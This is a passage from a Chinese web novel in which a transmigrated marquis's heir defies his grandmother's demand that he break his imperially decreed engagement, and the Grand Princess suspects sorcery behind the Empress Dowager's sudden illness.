《穿越侯府世子,我找长公主借功德》
第四十九章 你这婚退不退吧
贾一博话语不停。
“你母亲若是泉下有知,看到你这般目无尊长,不知要有多伤心。”
他一开口,就把谢宁的母亲给搬了出来,又给谢宁扣了一顶不孝的帽子。
谢宁双眼微眯,心里冷笑一声。
就你也配提我母亲的名字?
还不等他开口,老太君王氏就冷哼了一声,开口了。
她的声音带着一种久居上位的威严,显得有些沙哑。
“罢了。”
她抬了抬手,制止了贾一博的继续表演。
“他母亲去得早,没人教他规矩,也怪不得他。”
她这话,听起来像是在为谢宁开脱,但那语气里的轻蔑和嫌弃,却根本不加掩饰。
就好像在说,一个没娘的野孩子,能指望他懂什么礼数。
说完,她那双锐利的眼睛,再次锁定了谢宁。
“你就是谢宁?”
她明知故问。
“是。”
谢宁淡淡地应了一声。
“哼。”
老太太又是一声冷哼。
“你还知道回来?我还以为,你攀上了长公主那根高枝,就忘了自己姓什么,忘了这个家了。”
这话,就说得有些难听了。
字字句句,都透着一股尖酸刻薄。
院子里的其他家眷听到老太太这么说,一个个都露出了看好戏的表情。
谢宁闻言,心里非但没有生气,反而觉得有些好笑。
这老太太,被人当枪使了还一点不自知,真是可怜又可悲。
“您老说笑了。”
谢宁扯了扯嘴角,露出了一个不怎么真诚的笑容。
“这里是我家,我当然要回来。倒是您,在外面清修了这么些年,怎么突然想起要回来了?”
他这话,是在反问,也是在试探。
果然,他这话一出口,老太太的脸色瞬间就沉了下去。
贾一博的眼角,也微不可察地抽了一下。
“放肆!”
老太君猛地一拍桌子,桌上的茶杯都被震得跳了一下。
“你这是在质问我么?”
她厉声喝道。
“我回我自己家,难道还要经过你的同意不成?谢宁,你别以为你现在翅膀硬了,就能不把长辈放在眼里!我告诉你,只要我老婆子还活一天,这定远侯府,就还是我说了算!”
老太太的气势很足,一番话说得掷地有声。
贾一博和贾辉祖在一旁看得那叫一个解气。
两人对视了一眼,都从对方的眼中看到了笑意。
没错,就该这样!
好好教训教训这个不知天高地厚的小畜生。
谢宁懒得去看这父子二人小人得志的样子,他看着老太君那副气急败坏的样子,心里更加确定了自己的猜测。
这老太太果然是贾一博搬回来的救兵。
“您老息怒。”
谢宁不咸不淡地说了一句。
“我没有质问您的意思,只是关心您而已。您年纪大了,还常年在佛寺那种清苦的地方待着,孙儿是怕您的身体吃不消。”
他嘴上说着关心,但那语气,怎么听怎么像是在嘲讽。
老太太的脸色,更难看了。
她深吸一口气,似乎是想平复一下自己的情绪。
而后,她话锋一转,直接切入了正题。
“谢宁,我今天叫你过来,是有正事要问你。”
她双眼微米,死死盯着谢宁。
“我问你,你和长公主的婚事,到底是怎么回事?这么大的事情,为什么不跟家里商量一下,就自己做主了?你的眼里,还有没有我,还有没有侯府的列祖列宗?”
这一连串的质问,如同连珠炮一般向谢宁砸了过来。
贾一博见时机成熟,在旁边立刻开始拱火。
“是啊,宁儿。”
他语重心长地开口。
“你这次做事确实是太鲁莽了。婚姻大事,父母之命,媒妁之言。你母亲虽然不在了,但我还在,老太君也在。你这一声不吭的,怎么就私定了终身呢?”
“这要是传出去,别人会怎么看我们定远侯府?会怎么看你?”
谢宁一脸无语,真是应了那句欲加之罪,何患无辞。
“私定终身?”
谢宁挑了挑眉,看着他们两个一唱一和,觉得无比滑稽。
“我的贾侯爷,你这话从何说起?我与长公主的婚事,乃是当今圣上亲口下旨
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赐下。”
“圣旨昨天才在御花园当众宣读,满朝文武,王公贵族,全都亲眼见证,亲耳听闻。”
“你似乎也在现场啊,怎么到了这会儿,就成了私定终身了?”
谢宁的声音不大,但每一个字,都清晰地传入了在场所有人的耳朵里。
“再说,侯府能和皇室攀上亲家,列祖列宗不得都高兴得跳脚,又怎么会不高兴?”
“还是说,只是你们是在质疑圣上的决定,只是你们自己不高兴?”
“或者说,你们觉得皇家的圣旨,需要先经过定远侯府的同意才能生效?”
谢宁张口就是一键三连,字字诛心。
贾一博的脸色瞬间就变了。
他没想到谢宁的嘴皮子这么利索,三言两语,就把问题上升到了这个高度。
“你……你休要胡说。”
贾一博急忙辩解。
“我没有那个意思。我只是说,你事先应该跟家里通个气……”
“通气?”
谢宁冷笑一声,打断了他。
“我倒是想通气,可我找谁通气?找你么,贾侯爷?”
他看着贾一博,眼神里充满了嘲讽。
“你巴不得我早点死在外面,好让你那个废物儿子名正言顺地继承爵位。我跟你商量,不是自寻死路么。”
“你!”
贾一博被他这番话噎得脸都绿了。
他没想到谢宁竟然敢当着老太君的面,把这些话都给捅出来。
“你这个逆子,简直一派胡言。”
贾一博气得浑身发抖。
“母亲,您看看,您看看他这是什么态度!”
他立刻向老太君求助。
老太君的脸色在谢宁说完时,也已经阴沉得快要滴出水来了。
她死死地瞪着谢宁,胸口剧烈地起伏着。
“够了!”
她厉喝一声。
“谢宁,你少在这里强词夺理!我不管那是谁的旨意,我只问你一句。”
她的声音,冰冷得没有一丝温度。
“这门亲事,你到底,退还是不退?”
老太君的话如同一颗重磅**,猛地在福生堂爆开来。
气氛瞬间降到了冰点。
第五十章 老太君你痴呆了就去床上躺着
所有人的目光,都集中在了谢宁的身上。
贾一博父子,更是露出了期待而又恶毒的笑容。
在他们看来,老太太已经把话说到这个份上了。
谢宁就算再横,也得掂量掂量了。
毕竟自古以来孝道大过天。
他要是敢当众忤逆老太太,传出去,光是唾沫星子,就能把他淹死。
到时候,别说当驸马了,他连在建安城立足都做不到。
然而,谢宁的反应,却再次超出了所有人的预料。
他看着老太太那张写满了固执的脸,非但没有丝毫的畏惧和退缩,反而笑了。
那笑容里,带着几分玩味,几分嘲弄。
“老太君,您是在跟我开玩笑吗?”
谢宁懒洋洋地开口。
“退婚?您知不知道我这门婚事是谁赐的?是皇上!是当今天子金口玉言亲自下的圣旨。”
“您让我去退婚,岂不是让我去抗旨?抗旨是什么罪名,您老人家在佛寺里待久了,可能不太清楚。”
谢宁顿了顿,脸上的笑容慢慢收敛,取而代之的是一种深入骨髓的冰冷。
“我来告诉您,抗旨乃是欺君之罪,按我大齐律法,当诛九族。您是想让我一个人死,还是想拉着整个定远侯府,包括您在内,一起给我陪葬?”
“您老要是在佛寺待久了,老年痴呆了,就回床上好好儿躺着,年轻人的事,就别瞎掺和了。”
他这番话,说得轻描淡写。
但每一个字,都狠狠地敲在了在场所有人的心上。
诛九族!
这三个字就像是三座大山,压得众人喘不过气来。
贾一博脸上的得意笑容,也在瞬间僵住了。
他身后的那些家眷一个个吓得脸色发白,噤若寒蝉。
他们只想着看谢宁的笑话,看他被老太太逼得走投无路。
却忘了,这门婚事是跟皇家挂钩的。
一旦处理不好,那后果可不是他们能承受得起的。
老太君的脸色也是一阵青一阵白。
她显然也没想到,谢宁会把话说的这么重,直接把诛九族这种话都给搬了出来。
她被噎了一下,但很快,就强行找回了气势。
“你少拿这些话来吓唬我。”
她色厉内荏地喝道。
“我老婆子活了这么大岁数,什么风浪没见过?”
“皇上为什么会给你赐婚,还不是因为你使了什么见不得人的手段,蒙骗了圣上和长公主。”
“只要你肯去皇上面前,说清楚你不愿意,我相信皇上是明君,长公主是贤德之人,他们一定不会强人所难的!”
老太太这番话,简直是强词夺理,自欺欺人。
谢宁只觉眼前一黑,定远侯府这一个个都是人才,往后的气数怕是尽了。
老太君话音刚落,贾一博便立刻在旁附和道:“母亲说得极对,宁儿,这件事错在你没有提前跟家里商量。”
“而且,那长公主你我都清楚。”
贾一博的脸上露出一丝担忧。
“自幼体弱多病都不提了,缠绵病榻十几年,宫里的御医都束手无策。说句不好听的,她就是个病秧子,指不定哪天就一命呜呼了。”
“你若是娶了她,不出三年五载,就得当鳏夫。到时候,我们定远侯府岂不是成了全天下的笑柄?”
“老太君也是为了你好,为了侯府的颜面着想啊。”
贾一博话音刚落,突然,一股冰冷刺骨的杀气,瞬间将他笼罩。
他下意识地抬头,正好对上了谢宁的眼睛。
那是一双怎样的眼睛?
深邃,冰冷,充满了毫不掩饰的,凛冽的杀意。
贾一博的心脏猛地一缩。
一股前所未有的恐惧瞬间从他的脚底板直冲天灵盖。
“你,刚才,说什么?”
谢宁的声音,很轻,很慢,却带着一种让人灵魂都在战栗的寒意。
“我没听清楚,你再说一遍。”
“我……我……”
贾一博被他这眼神看得浑身发毛,舌头都开始打结了。
他下意识地后退了一步,想要躲开谢宁的目光。
“呵呵。”
谢宁突然笑了。
那笑容,残忍而又嗜血。
“好,很好。贾一博,你真是好大的狗
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胆。你们刚才,口口声声说我目无尊长,不懂礼法。那我现在就想问问你们。”
他的目光,缓缓地扫过在场每一个人的脸。
“你们在背后,如此恶毒地诅咒当朝长公主,污蔑皇室血脉的时候,你们的礼法,又在哪里?”
“这话要是传到我那位小舅子皇帝的耳朵里去,你们猜猜,他会是什么反应?”
“是会觉得你们忠心耿耿,为国分忧呢?还是会觉得,你们定远侯府是想谋逆了?”
谢宁的声音,陡然拔高。
“到时候,别说诛九族了。我怕是灭你十族,都不够解他心头之恨的!”
轰!
谢宁这番话,就像是一道惊雷,在福生堂的上空炸响。
在场的所有人,脑子里都是嗡的一声,一片空白。
特别是贾一博,一张脸瞬间就血色尽失,变得跟**一样白。
他刚才只顾着逞口舌之快,想要羞辱谢宁,却忘了,他羞辱的对象,是当今圣上最疼爱的姐姐!
是那个手握重权,杀伐果断的长公主李庆宁!
这话要是真的传出去……
贾一博不敢想了。
他只觉得两腿发软,浑身都在冒冷汗,几乎要当场瘫倒在地。
“我……我没有,我不是那个意思!”
他惊恐地大叫起来,拼命地想要辩解。
“谢宁,你不要血口喷人,我只是……我只是在分析利弊!”
“分析利弊?”
谢宁冷笑一声。
“我看你是在自寻死路!”
他懒得再跟这个蠢货废话,目光再次落在了老太君的身上。
“您老现在还坚持要我退婚么?”
他的声音,冰冷如刀。
“您可想好了再回答。您今天说的每一个字,做的每一个决定,都关系到这满院子人的脑袋,是继续长在脖子上,还是搬家去菜市口。”
这已经不是商量了。
老太君被谢宁这番话气得浑身都在发抖。
她指着谢宁,嘴唇哆嗦着,半天都说不出一句完整的话来。
“你……你这个逆子!你竟然敢这么跟我说话!”
第五十一章 您老还是上吊吧
“好,好得很!”
她像是被气疯了,猛地站了起来,指着谢宁的鼻子,尖声叫道:“我今天就把话撂在这儿!”
“有我老婆子在一天,你就休想娶那个病秧子进门!”
“这门亲事,你退也得退,不退,也得退!”
“你要是不退,我就……我就吊死在这福生堂门口!”
老太太这是彻底撕破脸,开始撒泼耍赖了。
她以为,用自己的性命做要挟,就能逼谢宁就范。
然而,她还是低估了谢宁。
或者说,她根本就不了解,眼前的这个谢宁,早已经不是当年那个任她打骂的懦弱少年了。
“哦?”
谢宁挑了挑眉,语气里带着一丝好奇。
“吊死在福生堂门口?您老确定?”
他这副云淡风轻,甚至有点看热闹不嫌事大的态度,让所有人都懵了。
这……这是什么反应?
正常人不都应该是吓得赶紧好言相劝,跪地求饶么?
他怎么跟个没事人一样?
老太君也是一愣。
她本以为自己这招能把谢宁吓得魂飞魄散。
可看他这样子,怎么好像一点都不在乎,难道他真的连自己的死活都不管了么?
一股不祥的预感,涌上了老太太的心头。
但事已至此,她已经没有退路了。
她只能硬着头皮,把戏演下去。
“没错!”
她挺直了腰杆,摆出一副视死如归的架势。
“我老婆子说到做到!你今天要是不答应退婚,我马上就找根白绫,吊死在你面前,我倒要看看,你这个铁石心肠的孽障,心到底有多狠!”
她一边说,一边还用眼角的余光,偷偷地观察着谢宁的反应。
她希望,能从谢宁的脸上,看到哪怕一丝一毫的动摇和不忍。
可惜,她失望了。
谢宁的脸上,依旧是那副淡淡的,甚至可以说是饶有兴致的表情。
“行啊。”
谢宁点了点头,很是干脆地开口了。
这两个字,轻飘飘的。
却像两颗**,在众人耳边轰然炸响。
行……行啊?
他说的这是什么虎狼之词?
什么叫行啊?
难道他是同意老太太**了?
所有人都傻眼了,包括老太君自己。
她呆呆地看着谢宁,脑子里一片空白,怀疑自己是不是听错了。
谢宁看着他们那副见了鬼的表情,嘴角的笑意更浓了。
他往前走了两步,走到了老太君的面前。
他弯下腰,凑到老太太的耳边,用一种只有两个人能听到的声音,轻声道:“您老想死,可以。”
“不过,在您死之前,孙儿有几句话,想跟您单独聊聊。”
他的声音,很轻,很柔,带着一丝蛊惑的味道。
“您不好奇,我母亲当年到底是**的么?”
“您不好奇,您身边这位对您孝顺有加的贾侯爷,到底是个什么货色么?”
“您不好奇,您在佛寺里吃了这么多年的斋,念了这么多年的佛,我母亲的在天之灵是否得到安息么?”
谢宁的每一句话,都狠狠地刺进了老太君的心里。
她的身体也紧跟着谢宁的话猛地一颤。
她那双浑浊的眼睛里,第一次,露出了惊恐和迷茫的神色。
谢……谢芸的死。
这些年来,她刻意回避,不敢去想的问题,在这一刻,被谢宁毫不留情地,血淋淋地撕开在了她的面前。
“你什么意思?”
老太君的声音,不受控制地颤抖了起来。
“没什么意思。”
谢宁直起身子,恢复了那副懒洋洋的样子。
他环顾四周,看着那些一脸茫然的家眷,突然提高了声音,朗声道:“既然老太君执意要用死来逼我,那我这个做孙儿的,要是再不成全,岂不是显得太不孝了?”
他这话一出口,全场再次陷入死寂。
所有人都用一种看疯子的眼神看着他。
这家伙,是疯了么?
贾一博也是又惊又喜。
惊的是谢宁竟然如此丧心病狂,连人伦纲常都不顾了。
喜的是,谢宁应下了。
他正准备开口再添一把火。
却听谢宁,又开口了。
“不过呢,老太太您
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想死,我没意见。但是,光您一个人死,我觉得有点太孤单了。”
他的目光,缓缓地落在了贾一博的身上。
那眼神,看得贾一博心里直发毛。
“我觉得,要死就大家一起死,黄泉路上也有个伴儿,多热闹啊。”
谢宁咧嘴一笑,露出一口大白牙。
“正好,我刚才也说了,抗旨是诛九族的大罪。既然您老这么想让我去抗旨,那我也不是不能满足您。”
他一拍手,脸上露出了一个灿烂到让人心底发寒的笑容。
“行啊,就这么定了!我现在就进宫,当着皇上的面跟他说,我不娶长公主了。理由就是,我谢家老太君嫌弃长公主是个病秧子,活不长,逼着我退婚。”
“然后,皇上一怒之下,下令将我定远侯府满门抄斩。”
“到时候,咱们一家人,从您老人家,到贾侯爷,再到他那个废物儿子,还有你们这些看热闹不嫌事大的。”
他的手指,在院子里,挨个点了一圈。
“咱们大家,手拉着手,心连着心,一起去菜市口,痛痛快快地挨上一刀。干干净净,整整齐齐,谁也别落下。
“这样,多好啊。正好,也全了您老人家的心愿,省得您一个人在下面孤单寂寞。”
谢宁说完,还煞有介事地点了点头,似乎对自己的这个提议,非常满意。
“嗯,我觉得这个主意,不错。”
整个福生堂,鸦雀无声。
所有人都像是被施了定身法似的,呆立在原地一动不动。
他们的脸上写满了恐惧和骇然。
他们感觉自己面对的不是一个人。
而是一个彻头彻尾的疯子!
贾一博的腿一软,再也支撑不住身体的重量,一屁股瘫坐在了地上。
他面如死灰,浑身抖得像筛糠一样。
他终于明白了。
谢宁根本就不是在开玩笑。
他是真的,敢这么干!
他就是一个彻头彻尾,无法无天的疯子!
老太君更是浑身巨震,如遭雷击。
她呆呆地看着谢宁,那张布满皱纹的脸上,已经没有了半点血色。
第五十二章 这老太太怕是被下了降头了
她想用死来威胁谢宁。
可结果这个家伙竟然要拉着整个侯府给她陪葬!
一股前所未有的恐惧和**,涌上老太太的心头。
她感觉自己的心脏,像是被一只无形的大手狠狠攥住,疼得她几乎要窒息。
“好了,事情就这么愉快地决定了。”
谢宁拍了拍手,似乎对这个结果非常满意。
“我现在就去抗旨,你们呢,也别闲着,都准备准备吧。洗干净脖子,在家里等着圣旨上门就行了。”
说完,他觉得无趣,再也懒得看这群已经被吓傻了的蠢货。
他潇洒地一转身,背着手,迈着悠闲的步子,晃晃悠悠地,就朝着院子外面走去。
留下的,是一整个院子,呆若木鸡,魂飞魄散的人。
谢宁晃晃悠悠地走出了福生堂。
他一边走一边冷笑,他甚至能想象到院子里那群人此刻脸上是何等精彩的表情。
恐惧,骇然,还有……彻底的懵逼。
这就对了。
对付这群蹬鼻子上脸的家伙,你就不能跟他们讲道理。
你越是讲道理,他们就越是来劲。
你必须比他们更狠,更不讲道理,更疯。
你得让他们从骨子里感到害怕。
这样,他们才会老实。
谢宁的心情又莫名地好了起来。
刚才怼得那叫一个酣畅淋漓,念头通达。
清风和明月快步跟了上来,两人的脸上,都带着一丝掩饰不住的古怪。
“公子,您刚才……也太……”
清风想了半天,也没想出一个合适的词来形容。
“太猛了?”
谢宁斜了他一眼,笑道。
“是……是有点。”
先前谢宁的气场,简直两米八。
一个人就把整个侯府,上到老太君,下到贾侯爷,全都给镇住了。
那感觉,比在御花园舌-战群儒还要带劲。
“呵呵,瞧你们那点出息。”
谢宁笑骂了一句。
“我要是真的想死,还会跟他们废话那么多。对付那群人,你就得用狠药。不把他们吓破胆,他们就不知道死字儿怎么写。”
谢宁心里清楚得很。
贾一博也好,老太太也好,他们之所以敢在自己面前耀武扬威,无非就是仗着自己是长辈,仗着自己要顾及名声,不敢把他们怎么样。
那自己就偏不如他们的意。
名声?
老子穿越过来,可不是为了什么狗屁名声的。
老子要的是快意恩仇,活得舒坦。
谁敢让老子不舒坦,老子就让他全家都不舒坦。
“不过,公子。”
清风的脸上,又露出了几分担忧。
“您这么一闹,把老夫人气成那样,她要是真的想不开……”
“放心吧。”
谢宁摆了摆手,一脸篤定。
“她死不了,那种人,最是惜命。她刚才拿死来要挟我,不过是想逼我就范罢了。”
“现在,她知道这招对我没用,反而可能把自己也搭进去,你借她十个胆子,她也不敢真的**。”
谢宁看人一向很准。
这位老太君,在佛寺里养尊处优了这么些年。
说是为女儿祈福,实际上,不过是找个清静的地方逃避现实罢了。
这种人,自私又懦弱,怎么可能真的有勇气**。
“那……接下来,我们怎么办?”
明月轻声开口。
“这老夫人明显是铁了心要跟您作对,以后怕是少不了麻烦。”
“麻烦?”
谢宁冷笑一声。
“她不是麻烦,她是个可怜人。”
他停下脚步,回头看了一眼福安堂的方向,眼神变得有些深邃。
“一个被猪油蒙了心,被奸人蒙蔽了双眼的可怜人。”
清风和明月对视一眼,都有些不解。
“公子,您的意思是……”
“这老太太,怕不是脑子有问题。”
谢宁摸了摸下巴,沉吟道。
“我刚才凑近了看她,发现她印堂发黑,双目无神,元神涣散。这可不是一个正常人该有的面相。再加上她刚才那番颠倒黑白,执迷不悟的言行。”
谢宁的眼中,闪过一丝精光。
“我怀疑,她很可能是被人动了手脚。”
“动了手脚?”
清风和明月同时惊
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呼出声。
“您的意思是……像之前长公主那样,被人下了咒?”
“不完全一样。”
谢宁摇了摇头。
“长公主那是被人布了四阴绝户局,是要她的命。而这老太太身上的,更像是一种,精神控制的手段。”
谢宁想了想,用了一个他们能听懂的词。
“简单来说,就是被人下了降头,洗了脑。让她对某个人,或者某个说法,深信不疑,无法自拔。而给她洗脑的人,不太可能是贾一博那个草包,但他肯定参与其中。”
嘶……
清风和明月同时倒吸了一口凉气。
他们没想到这里面竟然还有这么邪门的道道。
那个贾侯爷,手段也太阴毒了吧,连一个七老八十的老太太,都不放过。
“那……那可怎么办?”
清风有些急了。
“老太君若是一直被他控制着,肯定会一直跟公子您作对。”
“想解开,也不难。”
谢宁的嘴角,勾起一抹冷冽的弧度。
“心病还须心药医,她之所以会被贾一博洗脑,根源,还是在于我母亲当年的死,给她留下了巨大的心结。
“只要能让她知道当年事情的真相,让她看清楚贾一博的真面目,她自然就能清醒过来。”
“可……可事情都过去那么多年了,当年的真相要去哪里找?”
明月一脸愁容。
“去一个地方。”
谢宁的目光,投向了城郊的方向,口中淡淡地道。
“大佛寺。老太太在那里住了十几年,贾一博肯定没少去那里探望她。那个地方肯定留下了不少线索。”
“而且,我总觉得,一个好端端的大佛寺,怎么会容许贾一博在里面搞这些歪门邪道?那个寺庙怕是也有问题。”
说着,谢宁眯起了眼睛。
看来,有必要,去那个大佛寺走一趟了。
他正盘算着,该怎么安排人去调查大佛寺。
就在这时,一个长公主府的侍卫,行色匆匆地跑了过来。
“谢世子。”
那侍卫对着谢宁行了一礼。
“公主殿让小人来给您传个话。”
第五十三章 又是幕后黑手
“说吧。”
“公主殿下说,宫里情况复杂,让您暂时不要轻举妄动。”
那侍卫顿了顿,压低了声音。
“还说,太后娘娘的病十分蹊跷,宫中御医都查不出病因。公主怀疑,可能又是邪术作祟。她想请您,方便的时候,进宫一趟,帮忙看一看。”
果然如此。
谢宁心中了然。
看来,李庆宁也察觉到不对劲了。
这皇太后的病十有**,就是那个幕后黑手的新作。
“我知道了。”
谢宁点了点头。
“你回去告诉公主,让她稳住,不要慌。就说,我自有安排。”
“是。”
那侍卫领命,转身快步离去。
“公子,您真的要进宫?”
清风有些担心。
“现在宫里,肯定乱成一团,您这时候去,会不会太危险了?”
“危险?”
谢宁笑了笑。
“对我来说,整个建安城,最安全的地方就是皇宫。毕竟,那里有我未来的媳妇儿,还有我那个当皇帝的小舅子。谁敢动我,也得先掂量掂量自己的脑袋够不够硬。”
他看着皇宫的方向,眼神变得锐利起来。
“而且,我也很想亲眼去看看,那个幕后黑手,这次又玩儿出了什么新花样。老是这么被动挨打,可不是我的风格。也是时候,该我主动出击,会一会这个藏头露尾的鼠辈了。”
……
皇宫,慈宁宫。
气氛凝重得几乎能滴出水来。
宫殿内外,跪满了神色慌张的宫女和太监,一个个噤若寒蝉,连大气都不敢喘。
十几名太医院最顶尖的御医,此刻正围在皇太后的凤榻前,一个个面色凝重,愁眉不展。
小皇帝李庆志,正坐在榻边,脸上写满了焦急和担忧。
他紧紧地握着皇太后枯瘦的手,眼眶红红的,却始终没有流下泪来。
“王太医,母后到底怎么样了?”
被点到名的是太医院的院首,一个年过花甲,须发皆白的老者。
他听到皇帝的问话,身体一颤,连忙跪倒在地。
“启禀陛下……”
王院首的声音干涩而又无力。
“臣等无能。太后娘娘的脉象,时强时弱,时而如洪钟大吕,时而又细若游丝,诡异至极,臣行医五十年,从未见过如此奇特的脉象。”
“臣等已经用尽了各种温补固元之法,也施了金针,但……但都收效甚微。”
“太后娘娘的生机,正在不断流逝。”
王院首说完,重重地磕了一个头,额头贴在冰冷的地砖上,不敢抬起。
他身后的那群御医,也都齐刷刷地跪了下去,一个个面如死灰。
他们是真的束手无策了。
太后的病来得太过突然,也太过诡异。
完全超出了他们对医学的认知范畴。
“废物!通通都是废物!”
李庆志听到这话,再也控制不住自己的情绪,猛地站了起来,身躯因为愤怒而微微颤抖。
“朕养着你们,要你们何用!连母后的病都治不好,朕要将你们全都拖出去砍了!”
少年天子的怒火,让整个寝殿的温度,都仿佛下降了几分。
御医们吓得魂飞魄散,一个个磕头如捣蒜,嘴里不停地喊着陛下饶命。
就在这时,一个清冷而又威严的声音,从殿外传了进来。
“皇上息怒。”
伴随着话音,一身宫装,神情肃穆的李庆宁,快步走了进来。
“皇姐!”
李庆志看到李庆宁,就像是找到了主心骨,眼里的怒火瞬间被委屈所取代。
他快步跑到李庆宁面前,一把抱住了她。
“皇姐,你可算来了。母后她……母后她快不行了,这些御医一个个都是饭桶,什么都查不出来!”
李庆宁轻轻地拍了拍弟弟的后背,安抚着他的情绪。
“别急,有皇姐在。”
她的声音,带着一种让人安心的力量。
安抚好李庆志后,她迈步走到了凤榻前。
她看着躺在床上,双目紧闭,面色灰败,嘴唇干裂的皇太后,心中也是猛地一沉。
这才短短一日没见。
皇太后怎么就变成了这副模样?
先前在御花园时,她虽然被谢宁气得不轻,但精神头十足,面色红润。
可现在,却像是一朵
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瞬间枯萎的花,没有了半点生机。
李庆宁伸出手,探了探皇太后的额头。
入手处,一片冰凉。
她又抓起皇太后的一只手腕,将手指搭在了她的脉搏上。
身为皇室成员,她自幼也学过一些粗浅的医理。
这一搭脉,她的脸色瞬间就变了。
果然如那王院首所说。
皇太后的脉象诡异到了极点。
时而如万马奔腾,强劲有力,时而又微弱得几乎感觉不到。
这根本就不是一个正常人,甚至不是一个病人该有的脉象!
这脉象,更像是有两股截然不同的力量,在她的体内疯狂地冲撞,交战。
李庆宁的瞳孔猛地一缩。
心瞬间沉到了谷底。
难道又是那个幕后黑手搞的鬼?
而且这次的手段比之前对付自己时,更加隐蔽,也更加歹毒。
“好狠的手段。”
李庆宁的指甲,深深地掐进了自己的掌心。
一股滔天的怒火在她心中燃起。
那个混蛋!
他一而再,再而三地挑衅自己的底线。
先是自己,然后是皇家的龙脉,现在,又是自己的母亲。
他真当自己是泥捏的么?
“皇姐,母后的病……怎么样?”
李庆志看到李庆宁的脸色变得无比难看,一颗心也跟着揪了起来。
李庆宁深吸一口气,强行压下心中的杀意。
她转过身对李庆志摇了摇头。
“母后的病很蹊跷。”
她的声音,冷静得可怕。
“这不是病,是有人在害她。”
“什么?”
李庆志闻言,大惊失色。
“有人害母后?是谁?是谁这么大的胆子!”
跪在地上的那群御医,也是一脸的震惊和茫然。
不是病?是被人害的?
这……这怎么可能?
他们检查了那么久,连一丁点**或者外伤的迹象都没发现啊。
“具体的,我现在也说不清楚。”
李庆宁的目光,缓缓地扫过寝殿的每一个角落。
她在寻找。
寻找那个幕后黑手可能留下的蛛丝马迹。
第五十四章 还是只能找谢宁
这个寝殿,是母后居住了一辈子的地方,气场强大,按理说,等闲的邪术根本无法入侵。
那个家伙到底是用什么方法,将阴邪之气神不知鬼不觉地打入母后体内的?
李庆宁的目光,从墙角的熏香,到桌上的摆设,再到床上的被褥,一寸一寸地扫过。
然而,看了半天,她却什么都没有发现。
整个寝殿的陈设,和往常一模一样,没有任何变动。
也没有像她之前那个别苑一样,出现什么贝壳风铃,吸魂铜镜之类的邪物。
一切,都显得那么的正常。
可越是正常,就越是说明,敌人的手段,高明到了何种地步。
他已经可以做到**于无形。
李庆宁的心,一点一点地往下沉。
她发现,自己还是低估了那个敌人。
以她现在的能力,根本就找不到任何线索,更别提救母后了。
能救母后的,普天之下,恐怕只有一个人。
李庆宁的脑海中,浮现出了谢宁那张总是带着几分玩世不恭笑容的脸。
她知道,这种时候只有谢宁才有办法了。
“来人。”
李庆宁当机立断。
“立刻去定远侯府,再传本宫的命令,请谢世子即刻进宫。”
她的话,掷地有声,不容置疑。
李庆宁神色凝重,本来还想让谢宁空了自己进宫的,现在看来,等不了那么久了。
“是!”
一名侍卫立刻领命,飞奔而去。
“皇姐,你叫谢宁来干什么?”
李庆志有些不解。
“他……他会治病吗?”
虽然他现在很崇拜谢宁,觉得谢宁是无所不能的诗仙。
但治病救人这种事,可不是作诗啊。
连太医院这么多御医都束手无策,谢宁能有什么办法?
“他或许不会治病。”
李庆宁看着自己的弟弟,一字一句地说道。
“但是,他会捉鬼。”
定远侯府,福生堂。
自从谢宁撂下那句大家一起去菜市口挨刀的狠话扬长而去之后。
整个院子就陷入了一种诡异的死寂。
所有人都还保持着呆滞的姿势,一个个面如土色,魂不附体。
他们感觉,自己像是刚刚从鬼门关前,走了一遭。
特别是瘫坐在地上的贾一博,他现在都还没缓过神来。
他的脑子里还反复回荡着谢宁刚才那番话。
那轻描淡写的语气,那灿烂到令人发指的笑容,那句干干净净,整整齐齐。
他毫不怀疑。
那个小畜生,是真的敢那么干!
他没来由地吞咽了一口唾沫。
贾一博越想越怕,浑身抖得更厉害了,牙齿都在咯咯作响。
而主位上的老太君王氏,情况也没好到哪里去。
她那张布满皱纹的老脸,此刻已经没有了半点血色,嘴唇哆嗦着,想说什么,却一个字都吐不出来。
她被谢宁刚才那番话,给彻底镇住了。
她活了这么大岁数,还从来没见过这么无法无天,这么离经叛道的子孙。
用死来要挟?
人家根本不吃你这套。
不仅不吃,还要拉着你全家,一起上路。
这还怎么玩?
这还讲不讲道理了?
老太太感觉自己的世界观,在这一刻被彻底颠覆了。
她引以为傲的身份,她赖以生存的孝道枷锁,在谢宁面前脆弱得就像是一张纸。
一捅,就破。
许久,还是贾一博最先从恐惧中,稍微回过了一点神。
他手脚并用地从地上爬了起来。
他看了一眼依旧呆坐在椅子上,失魂落魄的老太太,又看了看周围那些同样吓傻了的家眷。
一股难以言喻的**和愤怒涌上了他的心头。
他堂堂定远侯,竟然被自己那个名义上的儿子,当着全家人的面给吓得屁滚尿流。
这要是传出去,他以后还怎么在建安城混?
“母……母亲……”
贾一博的声音还有些颤抖。
他走到老太太身边,小心翼翼地扶住了她的胳膊。
“您……您没事吧?”
老太太像是没有听到他的话,依旧是那副失魂落魄的样子,嘴里喃喃地念叨着。
“疯子……他就是个疯子……”
“他怎么敢的……”
贾一博看着老太太这副模样,心里又急又气。
他知道,老太太这次是被谢宁给彻底吓破胆了。
指望她再像刚才那样去跟谢宁硬碰硬是不可能了。
这个老东西,关键时刻,还是靠不住。
贾一博在心里暗骂了一句。
真是浪费自己千里迢迢搞到手的东西。
但他脸上,却挤出了一个比哭还难看的笑容。
“母亲,您别怕。”
他柔声安慰道。
“那逆子不过是虚张声势,吓唬我们罢了。他不敢的,借他一百个胆子,他也不敢真的去抗旨。”
他这话,说的连自己都不信。
但
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他现在必须得稳住老太太。
毕竟这老太太是他现在唯一能用来对付谢宁的棋子了。
“母亲,您先消消气。这件事,不能就这么算了。”
贾一博的眼中,闪过一丝阴狠的光芒。
“那逆子今天如此猖狂,如此目无尊长,我们要是再不治治他,以后这侯府怕是真的要变天了。”
老太太听到这话,浑浊的眼睛里,总算是恢复了一丝神采。
她抬起头,看着贾一博。
“那你说该怎么办?”
她的声音依旧虚弱无力。
“这个谢宁,软硬不吃,连死都不怕,我们还能拿他怎么样?”
“用硬的不中,咱们就来软的。”
贾一博的嘴角,勾起一抹阴险的笑容。
他凑到老太太耳边,压低了声音。
“母亲,您别忘了,您是这侯府名正言顺的老夫人。这府里的中馈,一直都是您在掌管。”
老太太闻言,眼神一动。
她好像,明白了贾一博的意思。
“你是想……”
“没错。”
贾一博的笑容愈发阴冷。
“那逆子现在不是攀上长公主了么,不是要当驸马么,那肯定要办一场风风光光的婚礼啊。”
“办婚礼,那不得花钱?他身无分文,拿什么去办?唯一的指望不还是家里?”
